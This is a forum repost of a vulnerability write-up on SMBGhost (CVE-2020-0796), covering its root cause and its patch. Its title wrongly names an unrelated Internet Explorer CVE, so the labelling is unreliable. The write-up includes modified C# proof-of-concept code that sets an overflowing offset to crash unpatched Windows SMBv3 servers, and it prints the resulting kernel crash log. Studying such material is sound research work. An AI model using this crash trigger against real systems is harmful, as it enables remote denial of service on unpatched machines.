-
-
[转帖]Analyzing CVE-2018-8653 with REVEN: Use-after-Free in Internet Explorer Scripting Engine
-
发表于: 2020-3-16 09:28 3629
-
[转帖]Analyzing CVE-2018-8653 with REVEN: Use-after-Free in Internet Explorer Scripting Engine
Original link: https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html
This blogpost was created due to a mistake from Microsoft, releasing publicly an advance warning for CVE-2020-0796. CVE-2020-0796, also nicknamed "SMBGhost" or "Coronablue" is a vulnerability impacting SMBv3.1.1 servers and clients and currently has no fix (12/03/2020).
An advance warning is something Microsoft gives to its "important" partners (think multinational firms and institutions) to warn them when a vulnerability has been found in their codebase but no fix has been released yet. That way those partners can mitigate the risk while waiting for the official patch. These advance warnings usually are not public for a good reason. However, on March 9 2020, MSRC (Microsoft Security Research Center) has publicly released ADV-200005: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005 ([1])
According to @zerosum0x0 ([2]), a person who has analyzed Wannacry in the past, the bug is trivial to find but not so easy to exploit. Unlike most 1-day writeups where the story began with a binary diffing, in this case we don't have the patched version yet so this bug must be uncovered using only our intuition and experience.
This is how you can do it.
DISCLAIMER: I knew very little about SMB before looking at this bug, however I know a great deal about the Windows ecosystem so not a complete beginner :)
OSINT
In the ADV200005 security warning ([1]) , we have the following information:
Description ================ Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client. Security Updates ================ Windows 10 Version 1903 for 32-bit Systems Remote Code Execution Critical Windows 10 Version 1903 for ARM64-based Systems Remote Code Execution Critical Windows 10 Version 1903 for x64-based Systems Remote Code Execution Critical Windows 10 Version 1909 for 32-bit Systems Remote Code Execution Critical Windows 10 Version 1909 for ARM64-based Systems Remote Code Execution Critical Windows 10 Version 1909 for x64-based Systems Remote Code Execution Critical Windows Server, version 1903 (Server Core installation) Remote Code Execution Critical Windows Server, version 1909 (Server Core installation) Remote Code Execution Critical Workarounds ================ Disable SMBv3 compression ************************* You can disable compression to block unauthenticated attackers from exploiting the vulnerability against an SMBv3 Server with the PowerShell command below. Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
From this abstract, we can glean 3 important pieces of information:
- The vulnerability is affecting a SMB v3.1.1, an extremely recent version of the SMB protocol. So probably a feature where the "paint is still fresh"
- It is affecting "only" 1903 and 1909 builds, which means the LTSC version of Windows Server 2019 (build 17763) is not impacted.
- The workaround specially mentions disabling the
Compression
feature.
From this start, how can we hunt this bug ?
Well, for once, we need to know which binary is responsible for the SMB server. I knew from experience it's C:\Windows\System32\drivers\srv2.sys
, but it's something you can find if you take a look at writeups on Wannacry.
Secondly, you need to retrieve the srv2.sys
in the build version (18362 or 18363) that is vulnerable. Fortunately I'm a bit a of a binary hoarder myself so I already had it at hand, but otherwise you can download Windows IE VM ([3]) and extract it from the guest system.
Static Analysis
Once you load up srv2.sys
in your favorite disassembler, we can start by grepping some function names for compression
since this is the feature singled out in the advance warning description (thanks MS for public symbols!):
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2GetHonorCompressionAlgOrder
Smb2SelectCompressionAlgorithm
Smb2ValidateCompressionCapabilities
Srv2DecompressMessageAsync
and Srv2DecompressData
are really good clients, and since it's easier to read synchronous code than asynchronous, let's start with srv2!Srv2DecompressData
:
__int64 __fastcall Srv2DecompressData(__int64 a1) { __int64 v1; // rdi __int64 v2; // rax __m128i v3; // xmm0 __m128i v4; // xmm0 unsigned int v5; // ebp __int64 v7; // rax __int64 v8; // rbx int v9; // eax __m128i MaxCount; // [rsp+30h] [rbp-28h] int v11; // [rsp+60h] [rbp+8h] v11 = 0; v1 = a1; v2 = *(_QWORD *)(a1 + 240); if ( *(_DWORD *)(v2 + 36) < 0x10u ) return 0xC000009B; v3 = *(__m128i *)*(_QWORD *)(v2 + 24); MaxCount = v3; v4 = _mm_srli_si128(v3, 8); v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64); if ( v5 != v4.m128i_u16[0] ) return 0xC00000BB; v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64); v8 = v7; if ( !v7 ) return 0xC000009A; if ( (int)SmbCompressionDecompress( v5, *(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64, (unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16), MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24), MaxCount.m128i_i32[1], &v11) < 0 || (v9 = v11, v11 != MaxCount.m128i_i32[1]) ) { SrvNetFreeBuffer(v8); return 0xC000090B; } if ( MaxCount.m128i_i32[3] ) { memmove( *(void **)(v8 + 24), (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64), MaxCount.m128i_u32[3]); v9 = v11; } *(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9; Srv2ReplaceReceiveBuffer(v1, v8); return 0i64; }
This is the raw output from HexRays, which is not easy to read. However we can notice two things right of the bat:
- The function is pretty small, which is compatible with the "blatant bug" description.
- The function does basically three things: allocate a buffer, decompress data in it and copy an optional payload.
If we want to confirm this is the vulnerable routine and find the root bug, we need to have more context: what's a1
representing ? which are the fields we control as an attacker ? etc.
For that, I used three sources of public information:
- DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf ([4])
- [MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962 ([5])
- Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/
From that - especially thanks to the [MS-SMBv2] ([5]) spec which details every packet's structure - I managed to recreate some key structure in IDA and have a better understanding on what happens in the srv2!Srv2DecompressData
routine:
__int64 __fastcall Srv2DecompressData(__int64 _smb_packet) { __int64 smb_packet; // rdi __int64 _header; // rax SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0 AAA smb_header_compress; // xmm0_8 unsigned int CompressionAlgorithm; // ebp __int64 __alloc_buffer; // rax __int64 __allocated_buffer; // rbx int PayloadSize; // eax SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h] int UncompressedSize; // [rsp+60h] [rbp+8h] UncompressedSize = 0; smb_packet = _smb_packet; _header = *(_QWORD *)(_smb_packet + 0xF0); // Basic size checks if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) ) return 0xC000090Bi64; v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18); Header = v3; // Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128( (__m128i)v3, offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm)); CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64); if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo ) return 0xC00000BBi64; // Nani ?? oO __alloc_buffer = SrvNetAllocateBuffer( (unsigned int)( Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength), 0i64 ); __allocated_buffer = __alloc_buffer; if ( !__alloc_buffer ) return 0xC000009Ai64; // Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize if ( (int)SmbCompressionDecompress( CompressionAlgorithm, (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength + 0x10i64), *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10, (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)), Header.OriginalCompressedSegmentSize, &UncompressedSize) < 0 || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) ) { SrvNetFreeBuffer(__allocated_buffer); return 0xC000090Bi64; } // Copy optional payload if ( Header.OffsetOrLength ) { memmove( *(void **)(__allocated_buffer + 0x18), (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64), (unsigned int)Header.OffsetOrLength); PayloadSize = UncompressedSize; } *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize; Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer); return 0i64; }
Well, there is a smoking gun in the code now:
__alloc_buffer = SrvNetAllocateBuffer( (unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength), 0i64 );
OriginalCompressedSegmentSize
and OffsetOrLength
are two fields under the control of an attacker, the first one describing the size of the uncompressed data while the second is used when chaining compressed smb packets (see 2.2.42 of [MS-SMB2] specification):
Both OriginalCompressedSegmentSize
and OffsetOrLength
are 32-bit values, and srv2!Srv2DecompressData
add them before allocating the new buffer, indicating a potential integer overflow. Since HexRays (the decompiler, not the company) can be a bit "traitorous" regarding those classes of bugs, let's check in the assembly:
00000001C0017EB2 movq rcx, xmm0 ... 00000001C0017EC8 mov rax, qword ptr [rsp+58h+Header.ProtocolId] 00000001C0017ECD xor edx, edx 00000001C0017ECF shr rax, 20h ; OriginalCompressedSegmentSize 00000001C0017ED3 shr rcx, 20h ; OffsetOrLength 00000001C0017ED7 add ecx, eax 00000001C0017ED9 call cs:__imp_SrvNetAllocateBuffer
This really looks like an integer overflow! If true, this is a pretty egregious bug since Microsoft likes to remind us that they do intensive static analysis on their codebase, especially for drivers (leveraging sal notations and so on).
Since I'm really bad at finding bugs via static analysis, let's try to trigger it dynamically in order to confirm our suspicion.
Dynamic Analysis
In order to test our hypothesis, we need two things:
- a vulnerable server, which is pretty easy to setup: just install a windows 10 1903 or 1909 build on a system and voila!
- a SMB client implementing the SMB v3.1.1 compression feature, which is substantially harder.
Samba/CIFS famously said they were not vulnerable to this vulnerability since they do not implement the compression feature, and none of the usual suspects (pysmbclient
or impacket's smbclient
) support either. However, I managed to find a feature-complete SMB v2 client implementation: https://github.com/microsoft/WindowsProtocolTestSuites/ ([6])
The codebase is entirely in C#
and is used by Microsoft for testing protocol conformity (and therefore is pretty complete in its feature coverage), which makes it an awesome playground to grok our POC from. Honestly, this project is a treasure trove for Windows security researchers: there is a complete implementation of a SMB server/client, RDP server/client, Kerberos server, SMBD server, etc.
While the code is extremely well written, it's written for conformity in mind so the packets are too "cleanly" created, but with enough hacks we can manage to do what we want:
// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common { /// <summary> /// SMB2 Compression Utility. /// </summary> public static class Smb2Compression { private static uint i = 0; /// <summary> /// Compress SMB2 packet. /// </summary> /// <param name="packet">The SMB2 packet.</param> /// <param name="compressionInfo">Compression info.</param> /// <param name="role">SMB2 role.</param> /// <param name="offset">The offset where compression start, default zero.</param> /// <returns></returns> public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0) { var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role); /*if (compressionAlgorithm == CompressionAlgorithm.NONE) { return packet; }*/ // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login) if (i < 3) { i++; return packet; } var packetBytes = packet.ToBytes(); var compressor = GetCompressor(compressionAlgorithm); // HACK: Insane length to trigger the integrer overflow offset = 0xffffffff; var compressedPacket = new Smb2CompressedPacket(); compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader; compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length; compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm; compressedPacket.Header.Reserved = 0; compressedPacket.Header.Offset = offset; compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray(); compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray()); var compressedPackectBytes = compressedPacket.ToBytes(); // HACK: force compressed packet to be sent return compressedPacket; // Check whether compression shrinks the on-wire packet size // if (compressedPackectBytes.Length < packetBytes.Length) // { // compressedPacket.OriginalPacket = packet; // return compressedPacket; // } // else // { // return packet; // } } } } namespace Microsoft.Protocols.TestManager.BranchCachePlugin { class Program { static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info) { Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds)); client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }; // NEGOTIATION is done in "plaintext", this is the call within UserLogon: // client.Negotiate( // 0, // 1, // Packet_Header_Flags_Values.NONE, // messageId++, // new DialectRevision[] { DialectRevision.Smb311 }, // SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED, // Capabilities_Values.NONE, // clientGuid, // out selectedDialect, // out gssToken, // out header, // out negotiateResp, // preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression // compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 } // ); if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp)) return; // From now on, we compress every new packet client.CompressionInfo.CompressAllPackets = true; // Get tree information about a remote share (which does not exists) TREE_CONNECT_Response treeConnectResp; string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare); // trigger crash here client.TreeConnect( 1, 1, Packet_Header_Flags_Values.FLAGS_SIGNED, messageId++, sessionId, uncSharePath, out treeId, out header, out treeConnectResp ); } static void Main(string[] args) { Console.WriteLine("Hello World!"); Logger logger = new Logger(); AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost"); BranchCacheDetector bcd = new BranchCacheDetector( logger, "DESKTOP-SMBVULN", "DESKTOP-SMBVULN", accountCredential ); DetectionInfo info = new DetectionInfo(); info.SelectedTransport = "SMB2"; info.ContentServerName = "DESKTOP-SMBVULN"; info.UserName = "Ghost"; info.Password = "Ghost"; TriggerCrash(bcd,info); Console.WriteLine("Goodbye World!"); } } }
We had to severely hack Smb2Compression.cs
to force to send "weird" packages, but that seemed to do the trick:
Breakpoint 3 hit srv2!Srv2DecompressData+0x6f: fffff800`50ad7ecf 48c1e820 shr rax,20h kd> p srv2!Srv2DecompressData+0x73: fffff800`50ad7ed3 48c1e920 shr rcx,20h kd> srv2!Srv2DecompressData+0x77: fffff800`50ad7ed7 03c8 add ecx,eax kd> r eax eax=7e kd> r ecx ecx=ffffffff kd> p srv2!Srv2DecompressData+0x79: fffff800`50ad7ed9 4c8b15489a0200 mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)] kd> r ecx ecx=7d kd> p srv2!Srv2DecompressData+0x80: fffff800`50ad7ee0 e8fbe29704 call srvnet!SrvNetAllocateBuffer (fffff800`554561e0) kd> p srv2!Srv2DecompressData+0x85: fffff800`50ad7ee5 488bd8 mov rbx,rax kd> g KDTARGET: Refreshing KD connection *** Fatal System Error: 0x00000050 (0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. For analysis of this file, run !analyze -v nt!DbgBreakPointWithStatus: fffff800`51a79580 cc int 3 kd> !analyze -v Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff8483c09e7e2f, memory referenced. Arg2: 0000000000000000, value 0 = read operation, 1 = write operation. Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000002, (reserved) Debugging Details: ------------------ READ_ADDRESS: ffff8483c09e7e2f Nonpaged pool TRAP_FRAME: fffff105d6992c00 -- (.trap 0xfffff105d6992c00) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000 rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f r8=ffff8483c09e7e2f r9=0000000000000078 r10=ffff8483bccd1f6d r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc nt!RtlDecompressBufferXpressLz+0x50: fffff800`51a0e750 418b08 mov ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=???????? Resetting default scope STACK_TEXT: fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12 fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952 fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107 fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50 fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66 fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1 fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33 fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117 fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37 fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55 fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a
Conclusion
Overall, the CVE-2020-0796 bug is pretty easy to spot on (it took me a good half-day to trigger the BSOD) and there is currently no fix yet. But exploitation is a different beast: this is a kernel pool overflow that has to be exploited remotely, on a windows 10 with KALSR, etc. While this is a good idea to completely disable the feature for now, I don't think we will see a Wannacry-style wave of ransomware using this CVE to pwn companies en masse.
As an ending note, I'm always fascinated by the "psychological" aspect of vulnerability hunting: once you know there is a bug inside a binary it becomes exponentially easier to find it, even if you know nothing about the tech stack or the system.
UPDATE
Patch
Less than 48 hours after the unfortunate ADV200005 leak, Microsoft released a patch on 12/03/2020 (KB4551762) fixing the integer overflow in the allocation size :
before:
__alloc_buffer = SrvNetAllocateBuffer( (unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength), 0i64 );
after
unsigned int _v_allocation_size = 0; if (!NT_SUCCESS(RtlUlongAdd(Header.OriginalCompressedSegmentSize, smb_header_compress.OffsetOrLength, &_v_allocation_size))) { SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid); goto ON_ERROR; } if (_v_allocation_size > another_smb_size_i_guess) { SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid); goto ON_ERROR; } __alloc_buffer = SrvNetAllocateBuffer( _v_allocation_size, 0i64 ); if ( !__alloc_buffer ) return 0xC000009A; if (!NT_SUCCESS(RtlULongSub(_v_allocation_size, smb_header_compress.OffsetOrLength, &_v_uncompressed_size))) { SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid); goto ON_ERROR; } if (!NT_SUCCESS(SmbCompressionDecompress( AlgoId, (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength + 0x10i64), _v_uncompressed_size, Size.m128i_u32[3] + *(_QWORD *)(v10 + 24), Header.OriginalCompressedSegmentSize, &UncompressedSize)) < 0 || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
They went for a "dynamic" fix approch, where RtlUlongAdd
and RtlULongSub
are safe arithmetics routines that checks at runtime for integer overflow/underflow. If the math does not check out, an ETW event is emitted probably for Microsoft to monitor if SMBGhost
has been used "in the wild".
References
- "leaked" advance warning
- zerosum0x0 tweet, announcing the triviality of finding the bug
- Virtual Machines - Microsoft Edge Developer
- DevDays Redmond 2019
- MS-SMBv2
- WindowsProtocolTestSuites
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课